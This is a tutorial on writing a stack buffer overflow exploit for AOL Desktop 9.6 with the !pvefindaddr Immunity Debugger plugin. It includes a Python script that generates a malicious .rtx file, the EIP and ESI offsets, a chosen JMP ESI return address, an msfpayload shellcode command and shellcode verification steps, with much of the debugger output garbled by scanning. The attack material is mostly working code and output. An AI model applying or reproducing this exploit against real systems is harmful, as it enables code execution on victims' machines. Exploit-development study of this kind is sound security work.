Exploit Writing Made Easier With !pvefindaddr

A few notes before we begin, covering what this paper is about and what it isn't about:

1. This paper is intended to demonstrate the efficiency of !pvefindaddr.

2. This paper will not explain the exploit till the end, if you want the full exploit go here: <u>http://</u><u>www.exploit-db.com/exploits/16107/</u>

Now let's start!

Required software: Immunity Debugger

<u>Ipvefindaddr</u> AOL Desktop v9.6

Required knowledge:

Understanding how buffer overflows work. Exploiting techniques. A programming language (I use python).

I've heard a lot of people complaining about how many apps they must use when writing exploits, or how time consuming some tasks can be if they are not automated or when trying to test multiple dll's for SAFESEH or ASLR, that's where !pvefindaddr comes in.

What is !pvefindaddr !?

Well in short terms !pvefindaddr is a PyCommand for Immunity Debugger made by <u>corelanc0d3r</u> which can do almost everything (if not everything) that you would need when building an exploit.

Here is some helpful information on how to install !pvefindaddr and some basic usage

Ok, let us get started !

Install AOL Desktop v9.6 (A quick note here, if the app doesn't work properly in Immunity Debugger you will have to close the debugger, issue CTRL+ALT+DELETE -> Processes and stop all AOL related processes then run the app).

Now let's make the exploit skeleton (I won't remake the full exploit, if you want to check it out it's on the top of the page), it will contain two standard headers and between them our buffer, let's check it out:

#!/usr/bin/python

The First Header

hd1 = ("\x3c\x48\x54\x4d\x4c\x3e\x3c\x46\x4f\x4e\x54\x20\x20\x53\x49\x5a" "\x45\x3d\x32\x20\x50\x54\x53\x49\x5a\x45\x3d\x31\x30\x20\x46\x41" "\x4d\x49\x4c\x59\x3d\x22\x53\x41\x4e\x53\x53\x45\x52\x49\x46\x22" "\x20\x46\x41\x43\x45\x3d\x22\x41\x72\x69\x61\x6c\x22\x20\x4c\x41" "\x4e\x47\x3d\x22\x30\x22\x3e\x3c\x41\x20\x48\x52\x45\x46\x3d\x22" "\x68\x74\x74\x70\x3a\x2f\x2f")

The Second Header hd2 = ("\x22\x3e\x74\x65\x73\x74\x3c\x2f\x41\x3e\x3c\x55\x3e\x3c\x42\x52" "\x3e\x0d\x0a\x3c\x2f\x55\x3e\x3c\x2f\x46\x4f\x4e\x54\x3e\x3c\x2f" "\x48\x54\x4d\x4c\x3e\x0d\x0a")

payload='\x90'* 6000

exploit = hd1+payload+hd2

try:

file=open('exploit.rtx','w') file.write(exploit) file.close() print 'File created, time to PEW PEW!\n' except: print 'Something went wrong!\n' print 'Check if you have permisions to write in that folder, of if the folder exists!'

```
*****
```

Generate the file using the exploit and after that open it in AOL Desktop and as we can see we could overwrite EIP with our '\x90"s:

Registers (FPU)	<	<	<	<	<	<	<	<	<	< ·
EAX 00000000 ECX 00000000 EDX 00000030 EBX 02D6F550 ESP 0022E760 ESP 0022E780 ESI 02DA32C8 EDI 0022E7C4										
EIP 90909090										
C 0 ES 0023 32bit 0(FFFFFFF) P 1 CS 001B 32bit 0(FFFFFFF) A 0 SS 0023 32bit 0(FFFFFFF) S 0023 32bit 0(FFFFFFF) S 1 FS 003B 32bit 7FFDD000(FFF) T 0 GS 0000 NULL D 0 LastErr ERROR_SUCCESS (00000000) EFL 00210286 (N0.NB.NE.A.S.PE.L.LE)										
	: D I									
FST 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 FCW 027F Prec NEAR,53 Mask 1 1 1 1	000 11	(EQ)								

So what would be next ? Calculating the exact offset until EIP overwrite.

(NOTE: Before we go on, restart AOL and attach it again).

In our debugger we can either click on the PyCommands button and select from the list ! pvefindadrr and then enter the arguments or we can do this directly by entering !pvefindaddr and the arguments in the command bar at the bottom of the debugger like this:

00403008 FF FF	Address	Hex dump	ASCII	
04403010 FE FF FF FF 01 00 00 00 ■ 00 04403013 00 00 00 00 01 00 00 00 000 00403028 00 00 00 00 01 00 00 00 A+\$: 00403030 00 00 00 00 01 00 00 000 00403030 00 00 00 00 01 00 00 00 **#E: 004030348 00 00 00 00 00 00 00 **#E: 00403048 00 00 00 00 00 00 000 00403058 00 00 00 00 00 00 00 00	00403000	A2 D8 8A 8F 9	D 27 75 70 ó†é <mark>A]'</mark> up)
104033020 8F 04 86 7C 00 00 00 00 A ◆3: 104032020 8F 04 86 7C 00 00 00 00 A ◆3: 104032020 8F 04 00 00 01 00 00 000. 104032030 00 00 00 00 01 00 00 000. 104032040 00 00 00 00 00 00 00 !%#E! 104032048 00 00 00 00 00 00 000. 104032050 B0 2E 46 00 A0 3C 46 000. 104032058 00 00 00 00 00 00 00 00 00 00 00 00 00 000.	00403008	FF FF FF FF F	F FF FF FF	
08403020 8F 04 86 7C 00 00 00 00 A+\$! 08403028 00 00 00 00 01 00 00 00 006 08403038 21 AC 92 7C 00 00 00 00 00 !%E! 08403040 00 00 00 00 00 00 00 00 !%E! 08403040 00 00 00 00 00 00 006 08403050 B0 2E 46 00 A0 3C 46 006 08403058 00 00 00 00 00 00 00 08403058 00 00 00 00 00 00 00 08403058 00 00 00 00 00 00 00 08403058 00 00 00 00 00 00 00 08403078 00 00 00 00 00 00 00 08403078 00 00 00 00 00 00 00	00403010	FE FF FF FF (
00403028 00 00 00 00 01 00 00 00 006 10403039 00 00 00 00 01 00 00 006 10403038 21 AC 92 7C 00 00 00 00 f%#E! 10403048 00 00 00 00 00 00 00 006 104030548 00 00 00 00 00 00 00 006 10403058 00 00 00 00 00 00 00 00 00 10403058 00 00 00 00 00 00 00 00 10403058 00 00 00 00 00 00 00 10403058 00 00 00 00 00 00 00 10403059 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00	00403018	00 00 00 00 00	1 00 00 000	
10403030 00 00 00 00 01 00 00 00 00 00 00 00 00	00403020			
04403038 21 AC 92 7C 00 00 00 00 00 14€1 10403040 00 00 00 00 00 00 00 000. 10403050 80 2E 46 00 A0 3C 46 00 00 F0. 10403058 00 00 00 00 00 00 00 00 00 000. 10403058 00 00 00 00 00 00 00 00 00 10403068 00 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00	00403028			
10403040 00 00 00 00 00 00 00 000. 10403048 00 00 00 00 01 00 00 00 000. 10403059 00 25 46 00 A0 3C 46 000. 10403058 00 00 00 00 00 00 00 00 10403058 00 00 00 00 00 00 00 00 10403058 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00				
0403048 00 00 00 00 01 00 00 00 008 19403050 80 2E 46 00 A0 3C 46 008 19403058 00 00 00 00 00 00 00 00 19403068 00 00 00 00 00 00 00 00 19403068 00 00 00 00 00 00 00 00 19403078 00 00 00 00 00 00 00 19403078 00 00 00 00 00 00 00	00403038			
0403050 80 2E 46 00 A0 3C 46 00 10403058 00 00 00 00 00 00 00 00 00 10403068 00 00 00 00 00 00 00 00 10403068 00 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00	00403040	00 00 00 00 0		
10403058 00 00 00 00 00 00 00 00 00 10403060 00 00 00 00 00 00 00 00 10403062 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00 10403078 00 00 00 00 00 00 00	00403048	00 00 00 00 0		
10483868 88 88 88 88 88 88 88 88 88 88 88 88	00403050			
10403068 80 80 80 80 80 80 80 80 80 19403878 80 88 88 88 88 88 88 88 88 88 88 88 88	00403058			
19403078 00 00 00 00 00 00 00 00 19403078 00 00 00 00 00 00 00 00	00403060			
00403078 00 00 00 00 00 00 00 00				
(1) I I I I I I I I I I I I I I I I I I	00403078	00 00 00 00 0	<u>0 00 00 00</u>	
pvefindaddr pattern_create 6000				
Done - check mspattern.txt				

As you can see it said "check mspattern.txt" so we go in the Immunity Debugger folder and open up mspatters.txt, copy the pattern in our exploit and regenerate the malicious file.

After opening the malicious file containing our pattern:

EAX ECX EDX EBX ESP ESI EDI	00000000 0000000 00000000 02DEF590 0022E760 0022E760 0022E780 02DR3960 ASCII "w9Gx0Gx1Gx2Gx3Gx4Gx5Gx6Gx7Gx8Gx9Gy0Gy1Gy2Gy3Gy4Gy5Gy6Gy7Gy8Gy9Gz0Gz1Gz2 0022E7C4
EIP	35784734
01000000 00000000000000000000000000000	ES 0023 32bit 0(FFFFFFF) CS 0018 32bit 0(FFFFFFF) SS 0023 32bit 0(FFFFFFF) DS 0023 32bit 0(FFFFFFF) FS 0038 32bit 7FFDE000(FFF) GS 0000 NULL LastErr ERROR_SUCCESS (00000000)
EFL	00210206 (NO,NB,NE,A,NS,PE,GE,G)
	empty 7.0641610228386886000e-304 empty -1.#0NENM000000000000 empty 2.8480928005503184000e-304 empty 3.5016502293827894000e-306 empty 3.2378592100206092000e-319 empty 0.0000000000000000 empty 1.968756000000000000 empty 1.2519775166695107000e-312 3.2 1.0 E S P U O Z D I 4000 Cond 1 0 0 0 Err 0 0 0 0 0 0 0 (EQ) 027F Prec NEAR,53 Mask 1 1 1 1 1 1

We can see that our EIP is 35784734 and we also can see that ESI points in our buffer, now in order to determine the exact offset we will use another feature from !pvefindaddr. Normally with metasploit we would try pattern_offset EIP now, well with !pvefindaddr we can actually get more info, let's try the findmsp function.

!pvefindaddr findmsp	
Done	

After it is done just open the Log Windows and as we can see, we have some nice information:

05204204	
	[17:16:50] Access violation when executing [35784734]
ØBADFØØD	
ØBADFØØD	
ØBADFØØD	
ØBADFØØD	
	Searching for metasploit pattern references
ØBADFØØD	
ØBHDFØØD	[1] Searching for first 8 characters of Metasploit pattern : Aa0Aa1Aa
ØBADFØØD	
75F70000	1odyles C:\WINDOWS\System32\davclnt.dll
02E4D438	- Found begin of Metasploit pattern at 0x02e4d438
02E40B67	- Found begin of Metasploit pattern at 0x02e40b67
02E4400F	- Found begin of Metasploit pattern at 0x02e4400f
02DA2730	- Found begin of Metasploit pattern at 0x02da2730
02DF5AE7	- Found begin of Metasploit pattern at 0x02df5ae7
02DFDA78	- Found begin of Metasploit pattern at 0x02dfda78
02E2A07F	- Found begin of Metasploit pattern at 0x02e2a07f
ØBADFØØD	
ØBADFØØD	** Could not find begin of Metasploit pattern (unicode expanded) in memory ! **
ØBADFØØD	
ØBADFØØD	[2] Checking register addresses and contents
0BADF00D	
ØBADFØØD	- Register EIP is overwritten with Metasploit pattern at position 5384
ØBADFØØD	- Register ESI points to Metasploit pattern at position 5368
ØBADFØØD	
ØBADFØØD	[3] Walking seh chain
ØBADFØØD	- Checking seh chain entry at 0x0022f3e0, value 7e44048f
ØBADFØØD	- Checking seh chain entry at 0x0022f440, value 7e44048f
ØBADFØØD	 Checking seh chain entry at 0x0022fad8, value 0052d834
ØBADFØØD	- Checking seh chain entry at 0x0022ffb0, value 00401d85
ØBADFØØD	 Checking seh chain entry at 0x0022ffe0, value 7c839aa8
ØBADFØØD	Evaluated 5 SEH entries
ØBADFØØD	
ØBADFØØD	[4] Walking stack
0BADF00D	
ØBADFØØD	- ESP+000000BC contains pointer (0x02da3838) to pattern at position 4360
ØBADFØØD	
pvefinda	addr findmsp
	F
Done	

So it found the first characters from the patters in davcInt.dll then it checked register addresses, we have the EIP overwite address beginning at 5384 and the register who points in to the pattern with the instruction CALL DWORD[ESI+10] (if you check) at 5368 it even checked the SEH chains to see if it finds the pattern there and we also have the "Walking stack" which if you haven't guessed by now it actually tells us when the ESP contains a pointer to our buffer at the position 4360.

This is a nice feature but we have one that does even better, !pvefindaddr also has a function that runs a findmsp and after that based on the results and on the stack it acutally gives us information about the type of exploit and how it should be made, let's check it out.

!pvefindaddr suggest

metasploit pattern reference [1] Searching for first 8 characters of Metasploit pattern : Aa0Aa1Aa Metasploit pattern at 0x02e4d43 Metasploit pattern at 0x02e40b6 begin of Found egin begin of begin of begin of Metasploit pattern at 0x02e44004 Metasploit pattern at 0x02da2730 Found Found Found Metasploit pattern at 0x02df5 of pattern bund at egin of Metasploit pattern DS AC Found begin ** Could not find begin of Metasploit pattern (unicode expanded) in memory ! ** [2] Checking register addresses and contents Register EIP is overwritten with Metasploit pattern at position 5384
 Register ESI points to Metasploit pattern at position 5368 [3] Walking seh chain 0x0022f3e0, value 7e44048f 0x0022f440, value 7e44048f 0x0022f448, value 7e44048f Checking seh chain entry at Checking set chain entry at
 Checking set chain entry at
 Checking set chain entry at
 Checking set chain entry at 0x0022ffb0. value Evaluated 5 SEH entries IDFØØD - ESP+000000BC contains pointer (0x02da3838) to pattern at position 4360 Exploit payload information and suggestions : [+] Type of exploit : Direct RET overwrite (EIP is overwritten) Offset to direct RET : 5384 [+] Payload found at ESI Offset to register : 5368 [+] Payload suggestion (perl) : my \$junk="\x41" x 5368; my \$shellcode="(your shellcode here, max 12 bytes)"; my \$morejunk="\x90" x (12-length(\$shellcode)); my \$ret = XXXXXXXX; #jump to ESI - run *pvefindaddr j -r ESI -n to find an address my \$payload = \$junk.\$shellcode.\$morejunk.\$ret; [+] Bead more about this type of exploit at f exploit at index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflow of lpvefindaddr suggest

Done

Sweet huh ?

Now we have the exact offset before the EIP overwrite, we know that ESI points to our buffer the next normal step would be to get the value of ESI into EIP with a JMP ESI, CALL ESI, etc. now these are simple instructions we can find them but what if we want to find these instructions without null bytes, from specific modules, etc. (NOTE: I'm not saying this can't be done manual, only saying that it will take more time and this way it's much easier).

Let's say we want to make this exploit using an universal address (like the original exploit), searching for this instruction can take a lot of time, mostly because it's a very common instruction, but using !pvefindaddr we can actually search for every JMP ESI instruction from some specific modules and some specific chatacteristics.

We will use !pvefindaddr to give us a list of all modules and their characteristics, once we have done this we can view all the modules that the app uses and see which have SAFESEH, ASLR, etc.:

	1essage								
F00D F00D F00D F00D	** [+] G ** [+] F	athering exection in the state of the state	itable ∕ loade 155 modules f	d module info ound), please ⊍	ait			
00D	Loaded	modules							
00D	Fixup	: Base	l Top	l Size	SafeSEH	I ASLR	NXCompat	I OS DII	Version, Modulename & Path
TOOD .	NO	0x763B0000	1 0x763F9000	1 0x00049000	l yes	I NO	I NO	l yes	: 6.00.2900.5512 - COMDLG32.dll : C:\WINDOWS\system32\COMDLG32.dll
-00D	NO	0x722B0000 0x635C0000	1 0x722B5000	0x00005000	yes	NO NO NO		yes NO	5.1.2600.5512 — sensapi.dll : C:\WINDOWS\system32\sensapi.dll
90D	NO	0x635C0000	0x635C7000	0x00007000	yes	I NO	NO NO		19.06.002 APPDATA.dll : C:\Program_Files\AOL_Desktop_9.6\APPDATA.dll
-00D	NÖ NO	0x74980000	0x74AA3000	0x00123000	yes	N0 N0	NÔ NÔ	yes	8.100.1052.0 - msxml3.dll : C:\WINDUWS\system32\msxml3.dll
000 000 000 000 000 000 000		0x72D20000	0x72D29000	: 0X000000000	yes	1 10	1 10	yes	2:002:1052.0 - USANING.dl : C:VIINDUKS23.002.0258.0002.011 5:1.2600.5512 - USANING.dl : C:VIINDUKS2354802.vASANIG.dl I 5:1.2600.5512 - LIKINFO.dl : C:VIINDUKS2354802.vASANIG.dl I 5:1.2600.5512 - USARI.dl : C:VIINDUKS2354802.0158P1.dl I 5:1.2600.5512 - WCS20.DL : C:VIINDUKS2354802.0158P1.dl I
-00D	NO	0x76980000	0x76988000	000000000000000000000000000000000000000	yes	NO NO	NÖ NÖ	yes	- 5.1.2600.5512 - LINKINFU.dll : U:VUINUUUSNSUSTEMAZNLINKINFU.dll
-000 -000	NO NO	0x76F20000		1 0000027000	yes	1 NO	I NO	yes	F 5.1.2600.5625 - DHSHF1.011 : C:WUTHDUWSSUSTEMS2/DHSHF1.011
-00D	NO	0x7DB10000	0x7DB9C000	0000000000000	yes NO	N0 N0	NÔ NÔ	yes NO	1 9.1.2000.5512 - Welsow, DEL : C: Windowszan Systems2-Welsow, DEL
-00D	110	000000000000000000000000000000000000000	000000000000000000000000000000000000000	1 0800034000		1 110	1 10	yes	3.2.2.26 - ComponentMgr.dll : C:NProgram Files/Ulewpoint/Ulewpoint Experience Techn 3.10.349.0 - msls31.dll : C:\WINDOWS\system32\msls31.dll
aan	yes NO NO	0x42120000	0x42131000	0x00011000	yes yes	yes NO	yes NO	yes yes	6.00.3800.5512 - twext.dll: C:\WINDOWS\system32\twext.dll
-00D -00D	NO	0x47800000	0x478CA000	1 0000011000	yes yes	i NO	NÖ	yes yes	6.00.3800.5512 - thet.dll: C:\WINDOWS\system3\Stuext.dll 5.1.2600.5512 - dot3api.dll: C:\WINDOWS\system3\Stuext.dll 5.1.2600.5512 - CSCLL.dll: C:\WINDOWS\system3\SCCLL.dll 9.06.092 - htmlview.tol: C:\Program FilesAQL_DestApp 9.6\TOOL\htmlview.tol
FAAD	NÖ	0x76600000	0x7661D000	1 00000010000	yes yes	I NO	NŎ	900	5.1.2600.5512 - CSCDLL.dll : C:\WINDOWS/System32/CSCDLL.dll
FÃÃN	NŎ	1 0v69EE0000	1 0v69E50000	1 AVAAAAAAAAA	yes	i NÕ	NŎ	yes NO	9.06.002 - htmluiew.tol : C:NProgram Eiles 201 Desktop 9.6.T00 htmluiew.tol
FÃÃN	NŐ	1 Av6000000	1 0260019000	0x00019000	yes	1 NO	NO NO	NŎ	9.06.002 - ProxyMgr.dll : C:\Program Files\AOL Desktop 9.6\ProxyMgr.dll
TÃÃD	NO NO	0x40100000	0x40225000	0x00125000	yes	N0 N0	NÖ NÖ	NŎ	6.0.1.6516 - coolcore60.dll : C:\Program Files\AOL Desktop 9.6\coolcore60.dll
000 000 000 000 000 000 000 000	NÖ	0x3DFD0000	0x3E1B9000	0x001E9000	yes	ues	ues		1 8.00.6001.23084 - iertutil.dll : C:NWINDOWSNsystem32Niertutil.dll
-00D	NÖ	0x67F00000	0x67F06000	0x00006000	yes	yes NO	yes NO	yes NO	9.06.002 - idleproc.dll : C:\Program Files\AOL Desktop 9.6\idleproc.dll 19.06.002 - chat.tol : C:\Program Files\AOL Desktop 9.6\IOU\\chat.tol 5.1.2680.6010 - ole32.dll : C:\WINDOWS\system32\282.dll 6.00.2900.5912 - SHLWAPI.dll : C:\WINDOWS\system32\SHLWAPI.dll
-00D	NO	0x6A900000	0x6A965000	0x00065000	yes .	1 NO	1 NO	I NO	! 9.06.002 - chat.tol : C:\Program Files\AOL Desktop 9.6\TOOL\chat.tol
-00D	NO	1 0x774E0000	0x7761E000	1 0x0013E000	l yes	I NO	1 NO	l yes	¦ 5.1.2600.6010 − ole32.dll : Č:\WINDOWS\system32\ole32.dll
		0x77F60000	1 0x77FD6000	1 0x00076000	yes			yes	: 6.00.2900.5912 - SHLWAPI.dll : C:\WINDOWS\system32\SHLWAPI.dll
F00D F00D	NO NO	0x68840000	0x68870000	1 0x00030000	I NO			I NO	: 9.06.002 - sec.cot : C:\Program Files\HUL Desktop 9.6\TUUL\sec.cot
-00D	NO	0x7E410000	0x7E4A1000	0x00091000	yes			yes	: 5.1.2600.5512 - USER32.dll : C:\WINDOWS\system32\USER32.dll
-00D -00D	NO	0x68C60000	0x68C80000	0x00020000	yes	I NO	I NO	NO NO	9.06.002 - www.tol : C:\Program Files\AOL Desktop 9.6\TOOL\www.tol
-00D	NO	0x71B20000	0x71B32000	0x00012000	yes	I NO	NO	yes	: 5.1.2600.5512 - MPR.dll : C:NUINDOWSNSUStem32NMPR.dll
- 000	NO	0x754D0000 0x76C30000	0x75550000	0200080000	yes	I NO	I NO	yes	5.131.2600.5512 - CRYPTUI.dll : C:\WINDOWS\system32\CRYPTUI.dll 5.131.2600.5922 - WINTRUST.dll : C:\WINDOWS\system32\WINTRUST.dll
-00D -00D -00D -00D -00D	NO	0076030000	0x76C5E000	1 0X0002E000	yes	NO	NO	yes	5.131.2600.5922 - WINIRUST.dll : C:WINDUOSSystem32/WINIRUSI.dll
000	NO NO	0x77D00000 0x6D430000	1 0x77D33000	0000033000	yes	N0	NO NO	yes	- 5.1.2000.5512 - Herman.dll : U:WUNDUWS/Systems2/netman.dll
-00U	NO	0x50430000	0x5D43H000	0000000000000000	yes	NO	I NO	yes yes	<pre>S.1.2600.5512 - netram.dll : C.NUINDOUS.system32.netram.dll S.03.2600.5512 - ddrawes.dll : C.NUINDOUS.system32.ndrawes.dll 6.00.2900.6512 - HOTAPHAY.DLL : C.NUINDOUS.system32.NELL22.dll 6.00.2900.5512 - HOTAPHAY.DLL : C.NUINDOUS.system32.NELL22.dll 5.1.2260.5875 - HSANI.dll : C.NUINDOUS.system32.NETHFAH.dll 5.1.2260.5875 - HSANI.dll : C.NUINDOUS.system32.NETHFAH.dll</pre>
F00D F00D	NO	0x71040000	0x71058000	0.00010000	yes	NO	NÔ NÔ	yes ves	CONTRACTOR CONTRA
-00D	NÖ	0x77B20000	0x77B32000	0x00012000	yes yes	I NO	NO		E 1 9200 SOTE MORENT ALL CONTROLOGO SUSTEMBENDIAL METALANT.
-aan	NÖ	0x67180000	0x6727D000	1 0V00012000	yes yes	I NO	NO	yes NO	9 9 6 002 - manager dll - C: Nergram Files 201 Dector 9 40 manager dll
-00D -00D	NÖ	0x77050000	0x77115000	0,000,000	yes yes	I NO	NÖ	yes	¦ 9.06.002 - manager.dll : C:∖Program Files∖AOL Desktop 9.6∖manager.dll ¦ 2001.12.4414.700 - COMRes.dll : C:∖WINDOWS∖system32∖COMRes.dll
- AND	NÖ	0x76D60000	0x76D79000	0x00019000	ves	i NÖ	NŎ	yes yes	5.1.2600.5512 - inbloani.dll : C:WINDOWS/system32/inbloani.dl
-00D -00D	NÖ	0x76840000	1 0x76860000	0800020000	yes	i NÕ	NŎ	yes yes	5.1.2600.5512 - iphlpapi.dll : C:\WINDOWS\system32\iphlpapi.dll 5.1.2600.5512 - WINMM.dll : C:\WINDOWS\system32\WINMM.dll
-00D	NŎ	0x6F200000	0x6F20F000	0x0000F000	yes	i NÕ	I NÖ	NO	1.0.0.1 - acfBase.DLL : C:\Program Files\ADL Desktop 9.6\acfBase.DL
-00D	NŎ	0x77B40000	0x77B62000	0x00022000	yes	i NÕ	1 NO	yes	5.1.2600.5512 - appHelp.dll : C:\WINDOWS\system32\appHelp.dll
-00D	NŎ	: 0x5DCD0000	1 0x5DCDE000	0x0000E000	yes	i NÕ	I NO	ves	: 11.0.0.1 - acrBase.DLL : C:\Program Files\00L Desktop 9.6\acrBase.DLL 5.1.2600.5512 - appHelp.dll : C:\UINDOWS\system32\appHelp.dl 5.1.2600.5512 - eappcry.dll : C:\UINDOWS\system32\appHelp.dl 5.1.2600.5512 - eappcfy.dll : C:\UINDOWS\system32\appCy.dll 5.1.2600.5512 - eappcfy.dll : C:\UINDOWS\system32\appCy.dll
00D 00D 00D 00D	NÖ	0x745B0000	0x745D2000	1 0x00022000	yes		NÔ NÔ	yes	5.1.2600.5512 - eappofg.dll : C:\WINDOWS\system32\eappofg.dll
-00D	NÖ	0x6C000000	0x6C093000	0x00093000	yes .		NÖ NO	I NO	16.4.6.1 - AOLSucMar.dll : C:\Program Files\Common Files\AOL\1296906978\ee\AOLSucMa

Once we can see which modules we can use we can start searching for the specific instruction using the command:

```
!pvefindaddr j -r ESI -n -o (this might take some time, go get a beer or something.)
```

This function searches for pointers that jump to a specific register (ESI in our case), the most common use of this function is when dealing with direct EIP overwrite. The function will look for any instructions like JMP ESI, CALL ESI combination from non-fixup and non-aslr modules also the -n flag will not show pointers that contain null bytes and the -o flag will exclude the pointers in the OS modules (We want to make it universal).

After a little search we find a nice intruction at 20C5CFC0 from aolusershell.dll, this one should work perfect.

After we are done we can also use compare to check in order to compare some bytes (usually our shellcode) from a file with some bytes in memory it also compares unicode expanded instances, ok now we need to make our shellcode binary (only the shellcode), we can just give the RAW output at Metasploit when making a payload and pipe it to a file like:

msfpayload windows/exec CMD=calc.exe R > shellcode

There is also a nice perl script that shows you how to do it on the !pvefindaddr wiki:

my \$shellcode="\xcc\xcc\xcc"; #paste your shellcode here open(FILE,">c:\\temp\\shellcode.bin"); binmode FILE; print FILE \$shellcode; close(FILE);

We then run the whole exploit (with the shellcode included, without any breakpoints or anything), now that the app has crashed we compare it:

!pvefindaddr compare C:\shellcode Return Value must be a string

After it is finished we can either view the Log Windows or open compare.txt from the Immunity Debugger folder:

ØBADFØØD	فمتصاد فاستعاد المتعاد المتعاد فمتعاد فمتعا متعاد فمتعا									
0BADF00D 0BADF00D 0BADF00D	P pvefindaddr Memory	comparison results								
ØBADFØØD	Address	Status	Туре							
06HUF000				<u>^</u>						
ØBADFØØD	0x02DA3AC0	Unmodified	ascii							
ØBADFØØD										
02DA3AC0 0BADF00D										
UBHDFUUD										
ØBADFØØD										
ØBADFØØD										
ØBADFØØD										
ØBADFØØD										
ØBADFØØD										
0BADF00D 0BADF00D										
0BHDF00D					39Nx 00					
0BADF00D 0BADF00D				°	91800					
ØBADFØØD				100						
ØBADFØØD				\sim						
ØBADFØØD										
ØBADFØØD										
ØBADFØØD	Compare memory with byte	s in file								
ØBADFØØD										
ØBADFØØD	Reading file C:\shelloo	de (ascii)								
ØBADFØØD	Read 200 bytes from file									
0BADF00D 0BADF00D	Starting search in memory									
ØBADFØØD	-> searching for \xfo\xe8\x89\x00\x00\x60\x89									
ØBADFØØD	Comparing bytes from fi	le with memory :								
02DA3AC0										
ØBADFØØD	* Reading memory at location : 0x02DA3AC0 -> Hooray, ascii shellcode unmodified									
ØBADFØØD										
ØBADFØØD										
ØBADFØØD	Beading_file C:\shellcode (expanding to unicode)									
0BADF00D 0BADF00D	Bead 200 bytes from file									
OBHDFOOD	Expanding to unicode	house and								
ØBADFØØD	Unicode expanded to 400	bytes								
0BADF00D	Starting search in memory		.00000000		000					
06HDF00D	 -> searching for \xfc` Could not find code in r 	x00\xe8\x00\x89\x00\x00\	800 X 00 X 00 X 00 X	00/800/800/88	97806					
	cours not ting code in i									
Invefinde	ddr compore Citobello	ada								

!pvefindaddr compare C:\shellcode

Return Value must be a string

Now a quick review on what we managed to do in this tutorial:

- We have determined the exact offset before EIP gets overwritten and also a register that points to our buffer.

- We have found our type of exploit, and some information on how to structure it

- Found out which modules have SAFESEH, ASLR or get rebased
- Found the instruction we needed avoiding these modules and the OS modules aswell
- Checked if our shellcode contains bad characters.

So as you can see we did all the above with just !pvefindaddr and we also managed to save a good amount of time.